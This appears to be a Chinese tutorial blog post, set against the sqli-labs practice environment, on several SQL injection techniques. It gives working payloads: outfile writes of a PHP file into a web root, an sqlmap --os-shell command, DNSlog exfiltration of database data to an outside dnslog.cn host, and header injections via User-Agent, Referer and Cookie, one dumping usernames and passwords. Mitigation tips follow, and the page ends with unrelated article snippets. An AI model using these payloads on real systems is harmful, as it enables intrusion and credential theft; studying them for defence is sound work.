SQL注入其他方法

此次实验因为环境问题很多无法复现,在此只讨论过程和方法

一、SQL注入之outfile注入

mysql的outfile的作用是导出文件,使用此方法的必要条件:(此方法成功率极低)

1、知道目标网站的物理路径;

2、%secure_file_priv这个参数必输是空,注意不是NULL,默认的NULL是正常的;

当 secure_file_priv 为空,就可以读取磁盘的目录

当 secure_file_priv 为 G:\,就可以读取G盘的文件

当 secure_file_priv 为 null,load_file 就不能加载文件

3、要设置Value参数为空,必须是网站的root权限,但是有了root权限就没必要进行传马了。

先查看环境中的参数是否正确:

show variables like "%secure_file_priv";

可以用此漏洞上传一句话木马,web.php就是木马上传的文件

?id=1')) union select 1,2,'<?php echo "Hello, World!"; ?>' into outfile 'D:\phpstudy_pro\WWW\sqli\web.php'--+

二、利用sqlmap的--os-cmd或--os-shell

条件:

1、知道目标网站的物理路径;

2、在此网站有文件上传的权限。

直接执行命令:

sqlmap -u "http://192.168.0.105/sqli/Less-8/?id=1" --os-shell

三、DNSlog外带注入

使用条件苛刻!

1、需要有目标网站root权限;

3、数据库有读写权限即:secure_file_priv=“” ;

4、得有请求url权限 ;

5、目标网站还必须得是windows服务器。

好处就是如果遇到盲注,会很节省时间。

?id=1' and load_file(concat('\\\\', hex(user()),'.fn7vri.dnslog.cn/abc'))--+

hex():用来将获取的user变成十六进制,要不然只使用user可能会失败。

fn7vri.dnslog.cn:是从DNSlog网站上的网址

四、User-Agent注入

User-Agent是一个HTTP请求头部字段,用于标识发出请求的客户端应用程序或设备。

User-Agent:1'or updatexml(1,concat('~',(select database())),3),2,3)#

对ua进行注入就可以得到数据库里的数据

如何防止这个漏洞?

  1. 手动测试:手动构造特定的恶意User-Agent字符串,并将其插入到HTTP请求的User-Agent头部。然后观察目标服务器的响应是否表现出异常行为,如返回错误信息、崩溃或产生其他异常。这种方法需要具备一定的安全测试经验和知识。

  2. 自动化工具:使用专门的漏洞扫描工具,如OWASP Zap、Burp Suite等,进行自动化测试。这些工具通常包含检测User-Agent注入漏洞的模块,能够自动发送恶意的User-Agent字符串并分析目标服务器的响应。

  3. 安全审计:进行代码审计和安全审计,检查应用程序中对于User-Agent头部的处理方式是否存在漏洞。审查相关的代码逻辑和输入验证过程,寻找任何不安全的实现或缺陷。

五、Referer注入

Referer是一个HTTP请求头部字段,用于指示请求的来源页面的URL。

Referer: ' or extractvalue(1,concat('~',(select database()))),2)#

如何防止这个漏洞?

  1. 输入验证和过滤:对接收到的Referer头部进行严格的输入验证和过滤。可以使用白名单机制来限制只接受来自可信源的Referer值,并拒绝所有其他来源的请求。

  2. URL编码:在处理Referer时,进行URL编码以确保其中的特殊字符不会被解析为恶意代码或其他攻击载荷。

  3. 参数化查询:如果需要将Referer用于数据库查询或其他敏感操作,务必使用参数化查询或预编译语句,而不是将Referer直接拼接到查询语句中。这可以有效防止SQL注入攻击。

  4. 安全框架和库:使用可靠的Web应用程序防火墙(WAF)或安全框架,如ASP.NET的RequestValidation、Java的OWASP ESAPI等,这些框架和库可以自动检测和阻止一些常见的攻击,包括Referer注入。

  5. HTTPS使用:使用HTTPS协议加密通信可以确保Referer头部在传输过程中不被窃听或篡改,提高数据的安全性。

  6. 安全审计和测试:定期进行安全审计和渗透测试,检查应用程序是否存在Referer注入漏洞以及其他安全问题。可以使用专业的安全工具进行自动化扫描,也可以进行手动测试。

六、Cookie注入

Cookie: uname=' union select 1,2,(select group_concat(username,password) from users)#

如何防止这个漏洞?

  1. 输入验证和过滤:在设置Cookie时,对用户提供的值进行严格的输入验证和过滤,确保其中不包含恶意内容。

  2. 安全的Cookie设置:使用安全标志(Secure)和仅限HTTP标志(HttpOnly)来设置Cookie。Secure标志要求Cookie只能通过HTTPS协议传输,避免在不安全的网络中被窃听。HttpOnly标志可以防止JavaScript等客户端脚本访问Cookie,减少受到XSS攻击的风险。

  3. 加密和签名:对于包含敏感信息的Cookie,可以考虑使用加密和签名来保护其完整性和机密性,防止被篡改或窃取。

  4. 安全会话管理:实施安全的会话管理机制,包括随机生成会话令牌、合理设置会话超时时间、及时注销会话等。

  5. 安全审计和测试:定期进行安全审计和渗透测试,检查应用程序是否存在Cookie注入漏洞以及其他安全问题。可以使用专业的安全工具进行自动化扫描,也可以进行手动测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/667323.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

sql升级更新解决方案

1.问题 随着项目版本的迭代&#xff0c;有时候需要更新数据库如修改字段、更新数据、删除数据等等&#xff0c;但是如果系统已经部署到生产环境了&#xff0c;让开发人员连接生产环境的数据库手动处理是不太实际的&#xff0c;生产环境数据库一般不允许外部连接&#xff0c;而…

便宜寄快递,就选闪侠惠递,帮您省钱!

随着电子商务的发展&#xff0c;物流也越来越发达&#xff0c;人们的生活中有很多地方都与物流快递打交道。网购或者给远方的亲戚朋友寄礼物等等都需要快递。有时候就止步于昂贵的快递的&#xff0c;其实选对方法&#xff0c;寄快递并不贵... 编辑 现在一般寄快递都是选择去菜鸟…

5分钟快速掌握 XML (Extensible Markup Language)

背景 在Java开发的过程中&#xff0c;我们经常需要和配置文件打交道&#xff0c;其中接触最多的就是XML。从最初学习 JavaWeb 时在 Tomcat 中配置servlet&#xff0c;到后来接触Spring框架并在XML中编写各种配置&#xff0c;XML一直是不可或缺的一部分。然而&#xff0c;XML的…

1-2 动手学深度学习v2-基础优化方法-笔记

最常见的算法——梯度下降 当一个模型没有显示解的时候&#xff0c;该怎么办呢&#xff1f; 首先挑选一个参数的随机初始值&#xff0c;可以随便在什么地方都没关系&#xff0c;然后记为 w 0 \pmb{w_{0}} w0​在接下来的时刻里面&#xff0c;我们不断的去更新 w 0 \pmb{w_{0}…

我在代码随想录|写代码Day25 |回溯算法|93.复原IP地址 , 78.子集 , 90.子集II

学习目标&#xff1a; 博主介绍: 27dCnc 专题 : 数据结构帮助小白快速入门 &#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d; ☆*: .&#xff61;. o(≧▽≦)…

C系列-动态内存管理

&#x1f308;个人主页: 会编程的果子君 ​&#x1f4ab;个人格言:“成为自己未来的主人~” 目录 为什么要有动态内存分配 malloc和free malloc free calloc和realloc calloc realloc 常见的动态内存的错误 对NULL指针的解引用操作 ​编辑 对动态开辟空间的越界访问…

ES6-const

一、基本用法 - 语法&#xff1a;const 标识符初始值;注意:const一旦声明变量&#xff0c;就必须立即初始化&#xff0c;不能留到以后赋值 - 规则&#xff1a;1.const 声明一个只读的常量&#xff0c;一旦声明&#xff0c;常量的值就不能改变2.const 其实保证的不是变量的值不…

查看自己电脑是arm还是x64(x86);linux操作系统识别

1、查看自己电脑是arm还是x64&#xff08;x86&#xff09; linux 参考&#xff1a; https://liuweiqing.blog.csdn.net/article/details/131783851 uname -a如果输出是 x86_64&#xff0c;那么你的系统是 64 位的 x86 架构&#xff08;通常我们称之为 x64&#xff09;。如果…

2023高精地图甲级测绘资质最新名单【高德地图】

根据2023年自然资源部公布的名单显示&#xff0c;以下公司通过“地图甲级测绘资质”换证审核&#xff0c;也就意味着&#xff0c;以下这些公司可以继续从事电子地图的采集和制作、商业合作等相关业务。 而这一点&#xff0c;对于以电子地图导航为主要业务支撑的企业至关重要。…

C-C++内存管理

C/C内存分布 内存的分配方式有几种&#xff1f; 静态内存分配&#xff08;Static Memory Allocation&#xff09;&#xff1a; 静态内存分配是在编译时确定内存大小和位置的分配方式。全局变量、静态变量和常量都使用静态内存分配。这些变量在程序的整个生命周期中都存在&…

创建TextMeshPro字体文件

相比于Unity的Text组件&#xff0c;TextMesh Pro提供了更强大的文本格式和布局控制&#xff0c;更高级的文本渲染技术&#xff0c;更灵活的文本样式和纹理支持&#xff0c;更好的性能以及更易于使用的优点。但unity自带TextMeshPro字体不支持中文。这里使用普通字体文件生成Tex…

React16源码: React中event事件对象的创建过程源码实现

event 对象 1 &#xff09; 概述 在生产事件对象的过程当中&#xff0c;要去调用每一个 possiblePlugin.extractEvents 方法现在单独看下这里面的细节过程&#xff0c;即如何去生产这个事件对象的过程 2 &#xff09;源码 定位到 packages/events/EventPluginHub.js#L172 f…

Spring事件之注解@EventListener讲解

文章目录 1 注解EventListener1.1 示例Demo1.1.1 简单例子1.1.2 解耦1.1.3 Spring事件 1.2 深入EventListener1.2.1 debug调试1.2.2 问题一&#xff1a; Spring是怎么知道要去触发这个方法1.2.3 问题二&#xff1a;ApplicationListenerMethodAdapter1.2.4 问题三&#xff1a;Si…

Vue学习笔记:计算属性

计算属性 入门进阶二次进阶三次进阶四次进阶结界五次进阶六次进阶七次进阶八次进阶九次进阶终章彩蛋 入门 Vue.js中&#xff0c;计算属性示例&#xff1a; export default {data() {return {firstName: John,lastName: Doe};},computed: {// 计算属性&#xff1a;全名fullNam…

(12)喝汽水

文章目录 每日一言题目解题思路一代码 解题思路二代码 结语 每日一言 长风沛雨&#xff0c;艳阳明月。田野被喜悦铺满&#xff0c;天地间充满着生的豪情。 题目 已知1瓶汽水1元&#xff0c;2个空瓶可以换一瓶汽水&#xff0c;输入整数n&#xff08;n>0&#xff09;&#x…

Maven工程的配置及使用

一、Maven章节 Maven 是 Apache 软件基金会组织维护的一款专门为 Java 项目提供构建和依赖管理支持的工具 1.1、maven的作用 1&#xff09;依赖管理&#xff1a; 方便快捷的管理项目依赖的资源包&#xff08;jar包&#xff09;避免版本冲突 2&#xff09;统一项目结构&…

机器学习算法之逻辑回归算法(Logistic Regression)

逻辑回归算法是一种用于分类问题的经典机器学习算法。虽然它的名字中带有“回归”,但实际上逻辑回归用于解决分类问题,特别是二分类问题。本篇博文将详细介绍逻辑回归算法的工作原理、应用领域以及Python示例。 算法背景 逻辑回归起源于20世纪初,用于分析生存率数据。随后…

Android studio打开md无法显示md渲染问题

Where is Android Studio Markdown support plugin preview preference? - Stack Overflow android studio开发无法选择markdown渲染功能的问题 原因是java runtime出了问题 搜索下面功能 Choose Boot Java Runtime for the IDE 选择带JCEF的 可以选最新的java版本 重启之…

Jvm FullGC 如何排查?

使用场景 我们在使用系统时&#xff0c;有时请求和响应会变得特别慢&#xff0c;系统也变得很卡。 有可能是FullGC的问题&#xff0c;可以逐步地进行排查。 使用jps和top确定进程号pid jps可以列出正在运行的jvm进程&#xff0c;并显示jvm执行主类名称( main()函数所在的类…

浙政钉(专有钉钉)

专有钉钉是浙政钉的测试版本&#xff0c;可在正式发布之前进行业务开发。 专有钉钉 原名政务钉钉 是高安全、强管控、灵活开放的面向大型组织专有独享的协同办公平台。支持专有云、混合云等多种方式灵活部署&#xff0c;以满足客户特定场景所需为目标&#xff0c;最大化以“平…